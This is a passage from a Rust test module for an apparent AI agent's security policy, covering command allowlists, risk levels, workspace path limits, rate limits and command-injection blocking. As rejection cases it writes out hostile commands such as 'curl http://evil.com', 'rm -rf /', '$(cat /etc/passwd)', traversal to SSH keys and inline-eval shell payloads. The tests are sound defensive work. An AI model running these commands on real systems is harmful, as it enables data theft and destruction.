2819 "Full autonomy must drop workspace_only even when the profile sets it true"
2820 );
2821 }
2822
2823 #[test]
2824 fn from_profiles_with_runtime_profile_propagates_budget_caps() {
2825 use crate::schema::RuntimeProfileConfig;
2826 use std::path::Path;
2827
2828 let risk = crate::schema::RiskProfileConfig {
2829 level: AutonomyLevel::Supervised,
2830 ..crate::schema::RiskProfileConfig::default()
2831 };
2832 let runtime = RuntimeProfileConfig {
2833 max_actions_per_hour: 99,
2834 max_cost_per_day_cents: 1234,
2835 shell_timeout_secs: 300,
2836 ..RuntimeProfileConfig::default()
2837 };
2838
2839 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), Path::new("/ws"));
2840
2841 assert_eq!(policy.max_actions_per_hour, 99);
2842 assert_eq!(policy.max_cost_per_day_cents, 1234);
2843 assert_eq!(policy.shell_timeout_secs, 300);
2844 }
2845
2846 #[test]
2847 fn from_profiles_without_runtime_profile_uses_defaults() {
2848 use std::path::Path;
2849
2850 let risk = crate::schema::RiskProfileConfig {
2851 level: AutonomyLevel::Supervised,
2852 ..crate::schema::RiskProfileConfig::default()
2853 };
2854
2855 let policy = SecurityPolicy::from_profiles(&risk, None, Path::new("/ws"));
2856
2857 assert_eq!(policy.max_actions_per_hour, 20);
2858 assert_eq!(policy.max_cost_per_day_cents, 500);
2859 assert_eq!(policy.shell_timeout_secs, 60);
2860 }
2861
2862 fn unix_forbidden_path_policy() -> SecurityPolicy {
2863 SecurityPolicy {
2864 workspace_dir: PathBuf::from("/workspace"),
2865 forbidden_paths: vec!["/dev".into(), "/etc".into()],
2866 ..SecurityPolicy::default()
2867 }
2868 }
2869
2870 fn readonly_policy() -> SecurityPolicy {
2871 SecurityPolicy {
2872 autonomy: AutonomyLevel::ReadOnly,
2873 ..SecurityPolicy::default()
2874 }
2875 }
2876
2877 fn full_policy() -> SecurityPolicy {
2878 SecurityPolicy {
2879 autonomy: AutonomyLevel::Full,
2880 ..SecurityPolicy::default()
2881 }
2882 }
2883
2884 #[test]
2887 fn autonomy_default_is_supervised() {
2888 assert_eq!(AutonomyLevel::default(), AutonomyLevel::Supervised);
2889 }
2890
2891 #[test]
2892 fn autonomy_serde_roundtrip() {
2893 let json = serde_json::to_string(&AutonomyLevel::Full).unwrap();
2894 assert_eq!(json, "\"full\"");
2895 let parsed: AutonomyLevel = serde_json::from_str("\"readonly\"").unwrap();
2896 assert_eq!(parsed, AutonomyLevel::ReadOnly);
2897 let parsed2: AutonomyLevel = serde_json::from_str("\"supervised\"").unwrap();
2898 assert_eq!(parsed2, AutonomyLevel::Supervised);
2899 }
2900
2901 #[test]
2902 fn can_act_readonly_false() {
2903 assert!(!readonly_policy().can_act());
2904 }
2905
2906 #[test]
2907 fn can_act_supervised_true() {
2908 assert!(default_policy().can_act());
2909 }
2910
2911 #[test]
2912 fn can_act_full_true() {
2913 assert!(full_policy().can_act());
2914 }
2915
2916 #[test]
2917 fn enforce_tool_operation_read_allowed_in_readonly_mode() {
2918 let p = readonly_policy();
2919 assert!(
2920 p.enforce_tool_operation(ToolOperation::Read, "memory_recall")
2921 .is_ok()
2922 );
2923 }
2924
2925 #[test]
2926 fn enforce_tool_operation_act_blocked_in_readonly_mode() {
2927 let p = readonly_policy();
2928 let err = p
2929 .enforce_tool_operation(ToolOperation::Act, "memory_store")
2930 .unwrap_err();
2931 assert!(err.contains("read-only mode"));
2932 }
2933
2934 #[test]
2935 fn enforce_tool_operation_act_uses_rate_budget() {
2936 let p = SecurityPolicy {
2937 max_actions_per_hour: 0,
2938 ..default_policy()
2939 };
2940 let err = p
2941 .enforce_tool_operation(ToolOperation::Act, "memory_store")
2942 .unwrap_err();
2943 assert!(err.contains("Rate limit exceeded"));
2944 }
2945
2946 #[test]
2949 fn allowed_commands_basic() {
2950 let p = default_policy();
2951 assert!(p.is_command_allowed("ls"));
2952 assert!(p.is_command_allowed("git status"));
2953 assert!(p.is_command_allowed("cargo build --release"));
2954 assert!(p.is_command_allowed("cat file.txt"));
2955 assert!(p.is_command_allowed("grep -r pattern ."));
2956 assert!(p.is_command_allowed("date"));
2957 }
2958
2959 #[test]
2960 fn blocked_commands_basic() {
2961 let p = default_policy();
2962 assert!(!p.is_command_allowed("rm -rf /"));
2963 assert!(!p.is_command_allowed("sudo apt install"));
2964 assert!(!p.is_command_allowed("curl http://evil.com"));
2965 assert!(!p.is_command_allowed("wget http://evil.com"));
2966 assert!(!p.is_command_allowed("ruby exploit.rb"));
2967 assert!(!p.is_command_allowed("perl malicious.pl"));
2968 }
2969
2970 #[test]
2971 fn readonly_blocks_all_commands() {
2972 let p = readonly_policy();
2973 assert!(!p.is_command_allowed("ls"));
2974 assert!(!p.is_command_allowed("cat file.txt"));
2975 assert!(!p.is_command_allowed("echo hello"));
2976 }
2977
2978 #[test]
2979 fn full_autonomy_still_uses_allowlist() {
2980 let p = full_policy();
2981 assert!(p.is_command_allowed("ls"));
2982 assert!(!p.is_command_allowed("rm -rf /"));
2983 }
2984
2985 #[test]
2986 fn command_with_absolute_path_extracts_basename() {
2987 let p = default_policy();
2988 assert!(p.is_command_allowed("/usr/bin/git status"));
2989 assert!(p.is_command_allowed("/bin/ls -la"));
2990 }
2991
2992 #[test]
2993 fn allowlist_supports_explicit_executable_paths() {
2994 let p = SecurityPolicy {
2995 allowed_commands: vec!["/usr/bin/antigravity".into()],
2996 ..SecurityPolicy::default()
2997 };
2998
2999 assert!(p.is_command_allowed("/usr/bin/antigravity"));
3000 assert!(!p.is_command_allowed("antigravity"));
3001 }
3002
3003 #[test]
3004 fn allowlist_supports_wildcard_entry() {
3005 let p = SecurityPolicy {
3006 allowed_commands: vec!["*".into()],
3007 ..SecurityPolicy::default()
3008 };
3009
3010 assert!(p.is_command_allowed("python3 --version"));
3011 assert!(p.is_command_allowed("/usr/bin/antigravity"));
3012
3013 let blocked = p.validate_command_execution("rm -rf /tmp/test", true);
3015 assert!(blocked.is_err());
3016 assert!(blocked.unwrap_err().contains("high-risk"));
3017 }
3018
3019 #[test]
3020 fn empty_command_blocked() {
3021 let p = default_policy();
3022 assert!(!p.is_command_allowed(""));
3023 assert!(!p.is_command_allowed(" "));
3024 }
3025
3026 #[test]
3027 fn command_with_pipes_validates_all_segments() {
3028 let p = default_policy();
3029 assert!(p.is_command_allowed("ls | grep foo"));
3031 assert!(p.is_command_allowed("cat file.txt | wc -l"));
3032 assert!(!p.is_command_allowed("ls | curl http://evil.com"));
3034 assert!(!p.is_command_allowed("echo hello | ruby -"));
3035 }
3036
3037 #[test]
3038 fn custom_allowlist() {
3039 let p = SecurityPolicy {
3040 allowed_commands: vec!["docker".into(), "kubectl".into()],
3041 ..SecurityPolicy::default()
3042 };
3043 assert!(p.is_command_allowed("docker ps"));
3044 assert!(p.is_command_allowed("kubectl get pods"));
3045 assert!(!p.is_command_allowed("ls"));
3046 assert!(!p.is_command_allowed("git status"));
3047 }
3048
3049 #[test]
3050 fn empty_allowlist_blocks_everything() {
3051 let p = SecurityPolicy {
3052 allowed_commands: vec![],
3053 ..SecurityPolicy::default()
3054 };
3055 assert!(!p.is_command_allowed("ls"));
3056 assert!(!p.is_command_allowed("echo hello"));
3057 }
3058
3059 #[test]
3060 fn command_risk_low_for_read_commands() {
3061 let p = default_policy();
3062 assert_eq!(p.command_risk_level("git status"), CommandRiskLevel::Low);
3063 assert_eq!(p.command_risk_level("ls -la"), CommandRiskLevel::Low);
3064 }
3065
3066 #[test]
3067 fn command_risk_medium_for_mutating_commands() {
3068 let p = SecurityPolicy {
3069 allowed_commands: vec!["git".into(), "touch".into()],
3070 ..SecurityPolicy::default()
3071 };
3072 assert_eq!(
3073 p.command_risk_level("git reset --hard HEAD~1"),
3074 CommandRiskLevel::Medium
3075 );
3076 assert_eq!(
3077 p.command_risk_level("touch file.txt"),
3078 CommandRiskLevel::Medium
3079 );
3080 }
3081
3082 #[test]
3083 fn command_risk_high_for_dangerous_commands() {
3084 let p = SecurityPolicy {
3085 allowed_commands: vec!["rm".into()],
3086 ..SecurityPolicy::default()
3087 };
3088 assert_eq!(
3089 p.command_risk_level("rm -rf /tmp/test"),
3090 CommandRiskLevel::High
3091 );
3092 }
3093
3094 #[test]
3095 fn validate_command_requires_approval_for_medium_risk() {
3096 let p = SecurityPolicy {
3097 autonomy: AutonomyLevel::Supervised,
3098 require_approval_for_medium_risk: true,
3099 allowed_commands: vec!["touch".into()],
3100 ..SecurityPolicy::default()
3101 };
3102
3103 let denied = p.validate_command_execution("touch test.txt", false);
3104 assert!(denied.is_err());
3105 assert!(denied.unwrap_err().contains("requires explicit approval"),);
3106
3107 let allowed = p.validate_command_execution("touch test.txt", true);
3108 assert_eq!(allowed.unwrap(), CommandRiskLevel::Medium);
3109 }
3110
3111 #[test]
3112 fn validate_command_blocks_high_risk_via_wildcard() {
3113 let p = SecurityPolicy {
3117 autonomy: AutonomyLevel::Supervised,
3118 allowed_commands: vec!["*".into()],
3119 ..SecurityPolicy::default()
3120 };
3121
3122 let result = p.validate_command_execution("rm -rf /tmp/test", true);
3123 assert!(result.is_err());
3124 assert!(result.unwrap_err().contains("high-risk"));
3125 }
3126
3127 #[test]
3128 fn validate_command_allows_explicitly_listed_high_risk() {
3129 let p = SecurityPolicy {
3133 autonomy: AutonomyLevel::Full,
3134 allowed_commands: vec!["curl".into()],
3135 block_high_risk_commands: true,
3136 ..SecurityPolicy::default()
3137 };
3138
3139 let result = p.validate_command_execution("curl https://api.example.com/data", true);
3140 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3141 }
3142
3143 #[test]
3144 fn validate_command_allows_wget_when_explicitly_listed() {
3145 let p = SecurityPolicy {
3146 autonomy: AutonomyLevel::Full,
3147 allowed_commands: vec!["wget".into()],
3148 block_high_risk_commands: true,
3149 ..SecurityPolicy::default()
3150 };
3151
3152 let result =
3153 p.validate_command_execution("wget https://releases.example.com/v1.tar.gz", true);
3154 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3155 }
3156
3157 #[test]
3158 fn validate_command_blocks_non_listed_high_risk_when_another_is_allowed() {
3159 let p = SecurityPolicy {
3161 autonomy: AutonomyLevel::Full,
3162 allowed_commands: vec!["curl".into()],
3163 block_high_risk_commands: true,
3164 ..SecurityPolicy::default()
3165 };
3166
3167 let result = p.validate_command_execution("wget https://evil.com", true);
3168 assert!(result.is_err());
3169 assert!(result.unwrap_err().contains("not allowed"));
3170 }
3171
3172 #[test]
3173 fn validate_command_explicit_rm_bypasses_high_risk_block() {
3174 let p = SecurityPolicy {
3176 autonomy: AutonomyLevel::Full,
3177 allowed_commands: vec!["rm".into()],
3178 block_high_risk_commands: true,
3179 ..SecurityPolicy::default()
3180 };
3181
3182 let result = p.validate_command_execution("rm -rf /tmp/test", true);
3183 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3184 }
3185
3186 #[test]
3187 fn validate_command_high_risk_still_needs_approval_in_supervised() {
3188 let p = SecurityPolicy {
3192 autonomy: AutonomyLevel::Supervised,
3193 allowed_commands: vec!["curl".into()],
3194 block_high_risk_commands: true,
3195 ..SecurityPolicy::default()
3196 };
3197
3198 let denied = p.validate_command_execution("curl https://api.example.com", false);
3199 assert!(denied.is_err());
3200 assert!(denied.unwrap_err().contains("requires explicit approval"));
3201
3202 let allowed = p.validate_command_execution("curl https://api.example.com", true);
3203 assert_eq!(allowed.unwrap(), CommandRiskLevel::High);
3204 }
3205
3206 #[test]
3207 fn validate_command_pipe_needs_all_segments_explicitly_allowed() {
3208 let p = SecurityPolicy {
3211 autonomy: AutonomyLevel::Full,
3212 allowed_commands: vec!["curl".into(), "grep".into()],
3213 block_high_risk_commands: true,
3214 ..SecurityPolicy::default()
3215 };
3216
3217 let result = p.validate_command_execution("curl https://api.example.com | grep data", true);
3218 assert_eq!(result.unwrap(), CommandRiskLevel::High);
3219 }
3220
3221 #[test]
3222 fn validate_command_full_mode_skips_medium_risk_approval_gate() {
3223 let p = SecurityPolicy {
3224 autonomy: AutonomyLevel::Full,
3225 require_approval_for_medium_risk: true,
3226 allowed_commands: vec!["touch".into()],
3227 ..SecurityPolicy::default()
3228 };
3229
3230 let result = p.validate_command_execution("touch test.txt", false);
3231 assert_eq!(result.unwrap(), CommandRiskLevel::Medium);
3232 }
3233
3234 #[test]
3235 fn validate_command_rejects_background_chain_bypass() {
3236 let p = default_policy();
3237 let result = p.validate_command_execution("ls & python3 -c 'print(1)'", false);
3238 assert!(result.is_err());
3239 assert!(result.unwrap_err().contains("not allowed"));
3240 }
3241
3242 #[test]
3245 fn relative_paths_allowed() {
3246 let p = default_policy();
3247 assert!(p.is_path_allowed("file.txt"));
3248 assert!(p.is_path_allowed("src/main.rs"));
3249 assert!(p.is_path_allowed("deep/nested/dir/file.txt"));
3250 }
3251
3252 #[test]
3253 fn path_traversal_blocked() {
3254 let p = default_policy();
3255 assert!(!p.is_path_allowed("../etc/passwd"));
3256 assert!(!p.is_path_allowed("../../root/.ssh/id_rsa"));
3257 assert!(!p.is_path_allowed("foo/../../../etc/shadow"));
3258 assert!(!p.is_path_allowed(".."));
3259 }
3260
3261 #[test]
3262 fn absolute_paths_blocked_when_workspace_only() {
3263 let p = default_policy();
3264 assert!(!p.is_path_allowed(&tp_sys_sub("etc/passwd")));
3265 assert!(!p.is_path_allowed(&tp_sys_sub("root/.ssh/id_rsa")));
3266 assert!(!p.is_path_allowed(tp_outside2()));
3267 }
3268
3269 #[test]
3270 fn absolute_path_inside_workspace_allowed_when_workspace_only() {
3271 let ws = tp_ws();
3272 let p = SecurityPolicy {
3273 workspace_dir: ws.clone(),
3274 workspace_only: true,
3275 ..SecurityPolicy::default()
3276 };
3277 assert!(p.is_path_allowed(&format!("{}/images/example.png", ws.display())));
3278 assert!(p.is_path_allowed(&format!("{}/file.txt", ws.display())));
3279 assert!(!p.is_path_allowed(tp_outside1()));
3280 assert!(!p.is_path_allowed(tp_outside2()));
3281 }
3282
3283 #[test]
3284 fn absolute_path_in_allowed_root_permitted_when_workspace_only() {
3285 let ws = tp_ws();
3286 let shared = tp_ws_shared();
3287 let p = SecurityPolicy {
3288 workspace_dir: ws.clone(),
3289 workspace_only: true,
3290 allowed_roots: vec![shared.clone()],
3291 ..SecurityPolicy::default()
3292 };
3293 assert!(p.is_path_allowed(&format!("{}/data.txt", shared.display())));
3294 assert!(p.is_path_allowed(&format!("{}/file.txt", ws.display())));
3295 assert!(!p.is_path_allowed(tp_outside1()));
3296 }
3297
3298 #[test]
3299 fn absolute_paths_allowed_when_not_workspace_only() {
3300 let p = SecurityPolicy {
3301 workspace_only: false,
3302 forbidden_paths: vec![],
3303 ..SecurityPolicy::default()
3304 };
3305 assert!(p.is_path_allowed("/tmp/file.txt"));
3306 }
3307
3308 #[test]
3309 fn forbidden_paths_blocked() {
3310 let p = SecurityPolicy {
3311 workspace_only: false,
3312 ..SecurityPolicy::default()
3313 };
3314 assert!(!p.is_path_allowed(&tp_sys_sub("etc/passwd")));
3315 assert!(!p.is_path_allowed(&tp_sys_sub("root/.bashrc")));
3316 assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
3317 assert!(!p.is_path_allowed("~/.gnupg/pubring.kbx"));
3318 }
3319
3320 #[test]
3321 fn empty_path_allowed() {
3322 let p = default_policy();
3323 assert!(p.is_path_allowed(""));
3324 }
3325
3326 #[test]
3327 fn dotfile_in_workspace_allowed() {
3328 let p = default_policy();
3329 assert!(p.is_path_allowed(".gitignore"));
3330 assert!(p.is_path_allowed(".env"));
3331 }
3332
3333 #[test]
3336 fn from_config_maps_all_fields() {
3337 let risk = crate::schema::RiskProfileConfig {
3338 level: AutonomyLevel::Full,
3339 workspace_only: false,
3340 allowed_commands: vec!["docker".into()],
3341 forbidden_paths: vec!["/secret".into()],
3342 require_approval_for_medium_risk: false,
3343 block_high_risk_commands: false,
3344 shell_env_passthrough: vec!["DATABASE_URL".into()],
3345 ..crate::schema::RiskProfileConfig::default()
3346 };
3347 let runtime = crate::schema::RuntimeProfileConfig {
3348 max_actions_per_hour: 100,
3349 max_cost_per_day_cents: 1000,
3350 ..crate::schema::RuntimeProfileConfig::default()
3351 };
3352 let workspace = PathBuf::from("/tmp/test-workspace");
3353 let policy = SecurityPolicy::from_profiles(&risk, Some(&runtime), &workspace);
3354
3355 assert_eq!(policy.autonomy, AutonomyLevel::Full);
3356 assert!(!policy.workspace_only);
3357 assert_eq!(policy.allowed_commands, vec!["docker"]);
3358 assert_eq!(policy.forbidden_paths, vec!["/secret"]);
3359 assert_eq!(policy.max_actions_per_hour, 100);
3360 assert_eq!(policy.max_cost_per_day_cents, 1000);
3361 assert!(!policy.require_approval_for_medium_risk);
3362 assert!(!policy.block_high_risk_commands);
3363 assert_eq!(policy.shell_env_passthrough, vec!["DATABASE_URL"]);
3364 assert_eq!(policy.workspace_dir, PathBuf::from("/tmp/test-workspace"));
3365 }
3366
3367 #[test]
3368 fn from_config_full_autonomy_overrides_workspace_only() {
3369 let autonomy_config = crate::schema::RiskProfileConfig {
3372 level: AutonomyLevel::Full,
3373 ..crate::schema::RiskProfileConfig::default()
3374 };
3375 let workspace = PathBuf::from("/tmp/test-workspace");
3376 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3377
3378 assert_eq!(policy.autonomy, AutonomyLevel::Full);
3379 assert!(
3380 !policy.workspace_only,
3381 "Full autonomy must override workspace_only to false"
3382 );
3383 }
3384
3385 #[test]
3386 fn from_config_supervised_preserves_workspace_only() {
3387 let autonomy_config = crate::schema::RiskProfileConfig {
3388 level: AutonomyLevel::Supervised,
3389 ..crate::schema::RiskProfileConfig::default()
3390 };
3391 let workspace = PathBuf::from("/tmp/test-workspace");
3392 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3393
3394 assert!(
3395 policy.workspace_only,
3396 "Supervised autonomy must preserve workspace_only default (true)"
3397 );
3398 }
3399
3400 #[test]
3401 fn from_config_normalizes_allowed_roots() {
3402 let autonomy_config = crate::schema::RiskProfileConfig {
3403 allowed_roots: vec!["~/Desktop".into(), "shared-data".into()],
3404 ..crate::schema::RiskProfileConfig::default()
3405 };
3406 let workspace = tp_ws();
3407 let policy = SecurityPolicy::from_risk_profile(&autonomy_config, &workspace);
3408
3409 let expected_home_root = if let Some(home) = home_dir() {
3410 home.join("Desktop")
3411 } else {
3412 PathBuf::from("~/Desktop")
3413 };
3414
3415 assert_eq!(policy.allowed_roots[0], expected_home_root);
3416 assert_eq!(policy.allowed_roots[1], workspace.join("shared-data"));
3417 }
3418
3419 #[test]
3420 fn resolved_path_violation_message_includes_allowed_roots_guidance() {
3421 let p = default_policy();
3422 let msg = p.resolved_path_violation_message(Path::new("/tmp/outside.txt"));
3423 assert!(msg.contains("escapes workspace"));
3424 assert!(msg.contains("allowed_roots"));
3425 }
3426
3427 #[test]
3430 fn default_policy_has_sane_values() {
3431 let p = SecurityPolicy::default();
3432 assert_eq!(p.autonomy, AutonomyLevel::Supervised);
3433 assert!(p.workspace_only);
3434 assert!(!p.allowed_commands.is_empty());
3435 assert!(!p.forbidden_paths.is_empty());
3436 assert!(p.max_actions_per_hour > 0);
3437 assert!(p.max_cost_per_day_cents > 0);
3438 assert!(p.require_approval_for_medium_risk);
3439 assert!(p.block_high_risk_commands);
3440 assert!(p.shell_env_passthrough.is_empty());
3441 }
3442
3443 #[test]
3446 fn action_tracker_starts_at_zero() {
3447 let tracker = ActionTracker::new();
3448 assert_eq!(tracker.count(), 0);
3449 }
3450
3451 #[test]
3452 fn action_tracker_records_actions() {
3453 let tracker = ActionTracker::new();
3454 assert_eq!(tracker.record(), 1);
3455 assert_eq!(tracker.record(), 2);
3456 assert_eq!(tracker.record(), 3);
3457 assert_eq!(tracker.count(), 3);
3458 }
3459
3460 #[test]
3461 fn record_action_allows_within_limit() {
3462 let p = SecurityPolicy {
3463 max_actions_per_hour: 5,
3464 ..SecurityPolicy::default()
3465 };
3466 for _ in 0..5 {
3467 assert!(p.record_action(), "should allow actions within limit");
3468 }
3469 }
3470
3471 #[test]
3472 fn record_action_blocks_over_limit() {
3473 let p = SecurityPolicy {
3474 max_actions_per_hour: 3,
3475 ..SecurityPolicy::default()
3476 };
3477 assert!(p.record_action()); assert!(p.record_action()); assert!(p.record_action()); assert!(!p.record_action()); }
3482
3483 #[test]
3484 fn is_rate_limited_reflects_count() {
3485 let p = SecurityPolicy {
3486 max_actions_per_hour: 2,
3487 ..SecurityPolicy::default()
3488 };
3489 assert!(!p.is_rate_limited());
3490 p.record_action();
3491 assert!(!p.is_rate_limited());
3492 p.record_action();
3493 assert!(p.is_rate_limited());
3494 }
3495
3496 #[test]
3497 fn action_tracker_clone_is_independent() {
3498 let tracker = ActionTracker::new();
3499 tracker.record();
3500 tracker.record();
3501 let cloned = tracker.clone();
3502 assert_eq!(cloned.count(), 2);
3503 tracker.record();
3504 assert_eq!(tracker.count(), 3);
3505 assert_eq!(cloned.count(), 2); }
3507
3508 #[test]
3511 fn command_injection_semicolon_blocked() {
3512 let p = default_policy();
3513 assert!(!p.is_command_allowed("ls; rm -rf /"));
3516 }
3517
3518 #[test]
3519 fn command_injection_semicolon_no_space() {
3520 let p = default_policy();
3521 assert!(!p.is_command_allowed("ls;rm -rf /"));
3522 }
3523
3524 #[test]
3525 fn quoted_semicolons_do_not_split_sqlite_command() {
3526 let p = SecurityPolicy {
3527 allowed_commands: vec!["sqlite3".into()],
3528 ..SecurityPolicy::default()
3529 };
3530 assert!(p.is_command_allowed(
3531 "sqlite3 /tmp/test.db \"CREATE TABLE t(id INT); INSERT INTO t VALUES(1); SELECT * FROM t;\""
3532 ));
3533 assert_eq!(
3534 p.command_risk_level(
3535 "sqlite3 /tmp/test.db \"CREATE TABLE t(id INT); INSERT INTO t VALUES(1); SELECT * FROM t;\""
3536 ),
3537 CommandRiskLevel::Low
3538 );
3539 }
3540
3541 #[test]
3542 fn unquoted_semicolon_after_quoted_sql_still_splits_commands() {
3543 let p = SecurityPolicy {
3544 allowed_commands: vec!["sqlite3".into()],
3545 ..SecurityPolicy::default()
3546 };
3547 assert!(!p.is_command_allowed("sqlite3 /tmp/test.db \"SELECT 1;\"; rm -rf /"));
3548 }
3549
3550 #[test]
3551 fn command_injection_backtick_blocked() {
3552 let p = default_policy();
3553 assert!(!p.is_command_allowed("echo `whoami`"));
3554 assert!(!p.is_command_allowed("echo `rm -rf /`"));
3555 }
3556
3557 #[test]
3558 fn command_injection_dollar_paren_blocked() {
3559 let p = default_policy();
3560 assert!(!p.is_command_allowed("echo $(cat /etc/passwd)"));
3561 assert!(!p.is_command_allowed("echo $(rm -rf /)"));
3562 }
3563
3564 #[test]
3565 fn command_injection_dollar_paren_literal_inside_single_quotes_allowed() {
3566 let p = default_policy();
3567 assert!(p.is_command_allowed("echo '$(cat /etc/passwd)'"));
3568 }
3569
3570 #[test]
3571 fn command_injection_dollar_brace_literal_inside_single_quotes_allowed() {
3572 let p = default_policy();
3573 assert!(p.is_command_allowed("echo '${HOME}'"));
3574 }
3575
3576 #[test]
3577 fn command_injection_dollar_brace_unquoted_blocked() {
3578 let p = default_policy();
3579 assert!(!p.is_command_allowed("echo ${HOME}"));
3580 }
3581
3582 #[test]
3583 fn command_with_env_var_prefix() {
3584 let p = default_policy();
3585 assert!(!p.is_command_allowed("FOO=bar rm -rf /"));
3587 }
3588
3589 #[test]
3590 fn command_newline_injection_blocked() {
3591 let p = default_policy();
3592 assert!(!p.is_command_allowed("ls\nrm -rf /"));
3594 assert!(p.is_command_allowed("ls\necho hello"));
3596 }
3597
3598 #[test]
3599 fn command_injection_and_chain_blocked() {
3600 let p = default_policy();
3601 assert!(!p.is_command_allowed("ls && rm -rf /"));
3602 assert!(!p.is_command_allowed("echo ok && curl http://evil.com"));
3603 assert!(p.is_command_allowed("ls && echo done"));
3605 }
3606
3607 #[test]
3608 fn command_injection_or_chain_blocked() {
3609 let p = default_policy();
3610 assert!(!p.is_command_allowed("ls || rm -rf /"));
3611 assert!(p.is_command_allowed("ls || echo fallback"));
3613 }
3614
3615 #[test]
3616 fn command_injection_background_chain_blocked() {
3617 let p = default_policy();
3618 assert!(!p.is_command_allowed("ls & rm -rf /"));
3619 assert!(!p.is_command_allowed("ls&rm -rf /"));
3620 assert!(!p.is_command_allowed("echo ok & python3 -c 'print(1)'"));
3621 }
3622
3623 #[test]
3624 fn command_injection_redirect_blocked() {
3625 let p = default_policy();
3626 assert!(!p.is_command_allowed("echo secret > /etc/crontab"));
3627 assert!(!p.is_command_allowed("ls >> /tmp/exfil.txt"));
3628 assert!(!p.is_command_allowed("cat < /etc/passwd"));
3629 assert!(!p.is_command_allowed("echo secret > output.txt"));
3630 assert!(!p.is_command_allowed("echo secret>/dev/nullextra"));
3632 assert!(!p.is_command_allowed("echo secret > /dev/null/../../etc/passwd"));
3633 assert!(!p.is_command_allowed("echo secret>/dev/stderrfoo"));
3634 assert!(!p.is_command_allowed("ls 2>/dev/stderr.log"));
3636 assert!(!p.is_command_allowed("cat>/dev/zero/path"));
3637 assert!(!p.is_command_allowed("echo>/dev/stdout.bak"));
3638 }
3639
3640 #[test]
3643 fn interpreter_inline_eval_blocked() {
3644 let p = default_policy();
3645 assert!(!p.is_command_allowed("python3 -c 'import os; os.system(\"id\")'"));
3647 assert!(!p.is_command_allowed("python -c '__import__(\"os\").system(\"id\")'"));
3648 assert!(!p.is_command_allowed("python3 -m http.server"));
3649 assert!(!p.is_command_allowed("python3 -m pip install evil"));
3650 assert!(!p.is_command_allowed("python3 -m pytest"));
3652 assert!(!p.is_command_allowed("python3 -m mypy src/"));
3653 assert!(!p.is_command_allowed("python3 -m venv .venv"));
3654 assert!(!p.is_command_allowed("python3 -mhttp.server"));
3656 assert!(!p.is_command_allowed("node -e 'require(\"child_process\").execSync(\"id\")'"));
3658 assert!(!p.is_command_allowed("node --eval 'process.exit(1)'"));
3659 assert!(!p.is_command_allowed("node --eval=process.exit(1)"));
3660 assert!(!p.is_command_allowed("node -p '1+1'"));
3661 assert!(!p.is_command_allowed("node --print 'process.env'"));
3662 assert!(!p.is_command_allowed("node --print=process.env"));
3663 assert!(!p.is_command_allowed("python3 -c'import os'"));
3665 assert!(!p.is_command_allowed("node -e'process.exit()'"));
3666 assert!(!p.is_command_allowed("python3 -W ignore -c 'import os'"));
3668 }
3669
3670 #[test]
3671 fn package_manager_install_blocked() {
3672 let p = default_policy();
3673 assert!(!p.is_command_allowed("pip install evil-package"));
3675 assert!(!p.is_command_allowed("pip3 install evil-package"));
3676 assert!(!p.is_command_allowed("pip download evil-package"));
3677 assert!(!p.is_command_allowed("npm exec -- malicious-pkg"));
3679 assert!(!p.is_command_allowed("npm install malicious-pkg"));
3680 assert!(!p.is_command_allowed("npm i malicious-pkg"));
3681 assert!(!p.is_command_allowed("npm add malicious-pkg"));
3682 assert!(!p.is_command_allowed("npm ci"));
3683 assert!(!p.is_command_allowed("cargo install malicious-crate"));
3685 }
3686
3687 #[test]
3688 fn safe_interpreter_usage_allowed() {
3689 let p = default_policy();
3690 assert!(p.is_command_allowed("python3 script.py"));
3692 assert!(p.is_command_allowed("node app.js"));
3693 assert!(p.is_command_allowed("pip list"));
3695 assert!(p.is_command_allowed("pip freeze"));
3696 assert!(p.is_command_allowed("pip show requests"));
3697 assert!(p.is_command_allowed("npm test"));
3698 assert!(p.is_command_allowed("npm list"));
3699 assert!(p.is_command_allowed("cargo build"));
3700 assert!(p.is_command_allowed("cargo test"));
3701 assert!(p.is_command_allowed("cargo run"));
3702 }
3703
3704 #[test]
3705 fn safe_redirect_to_dev_null_allowed() {
3706 let p = default_policy();
3707 assert!(p.is_command_allowed("echo secret > /dev/null"));
3708 assert!(p.is_command_allowed("ls 2> /dev/null"));
3709 assert!(p.is_command_allowed("find . 2>&1 > /dev/null"));
3710 assert!(p.is_command_allowed("cat</dev/null"));
3711 }
3712
3713 #[test]
3714 fn safe_redirect_to_dev_stdout_allowed() {
3715 let p = default_policy();
3716 assert!(p.is_command_allowed("echo hello > /dev/stdout"));
3717 assert!(p.is_command_allowed("cat /dev/zero > /dev/stdout"));
3718 }
3719
3720 #[test]
3721 fn safe_redirect_to_dev_stderr_allowed() {
3722 let p = default_policy();
3723 assert!(p.is_command_allowed("echo error > /dev/stderr"));
3724 assert!(p.is_command_allowed("ls 1> /dev/stderr"));
3725 }
3726
3727 #[test]
3728 fn safe_redirect_to_dev_zero_allowed() {
3729 let p = default_policy();
3730 assert!(p.is_command_allowed("cat /dev/zero > /dev/null"));
3731 }
3732
3733 #[test]
3734 fn safe_file_descriptor_redirect_allowed() {
3735 let p = default_policy();
3736 assert!(p.is_command_allowed("find . 2>&1"));
3737 assert!(p.is_command_allowed("echo hello 1>&2"));
3738 assert!(p.is_command_allowed("ls 2>&1 > /dev/null"));
3739 assert!(p.is_command_allowed("echo error >&2"));
3741 assert!(p.is_command_allowed("cat <&0"));
3742 assert!(p.is_command_allowed("echo >&-"));
3743 assert!(p.is_command_allowed("echo 3>&-"));
3744 }
3745
3746 #[test]
3747 fn heredoc_and_herestring_allowed() {
3748 let p = default_policy();
3749 assert!(p.is_command_allowed("cat << 'EOF'"));
3750 assert!(p.is_command_allowed("cat <<EOF"));
3751 assert!(p.is_command_allowed("cat <<< 'hello'"));
3752 assert!(!p.is_command_allowed("cat < /etc/passwd"));
3754 assert!(!p.is_command_allowed("echo secret > output.txt"));
3756 }
3757
3758 #[test]
3759 fn multiline_heredoc_allowed() {
3760 let p = default_policy();
3761 assert!(p.is_command_allowed("cat <<EOF\nhello world\nEOF"));
3764 assert!(p.is_command_allowed("cat <<'EOF'\nhello world\nEOF"));
3765 assert!(p.is_command_allowed("cat << EOF\nhello world\nEOF"));
3766 assert!(p.is_command_allowed("cat <<\"EOF\"\nhello world\nEOF"));
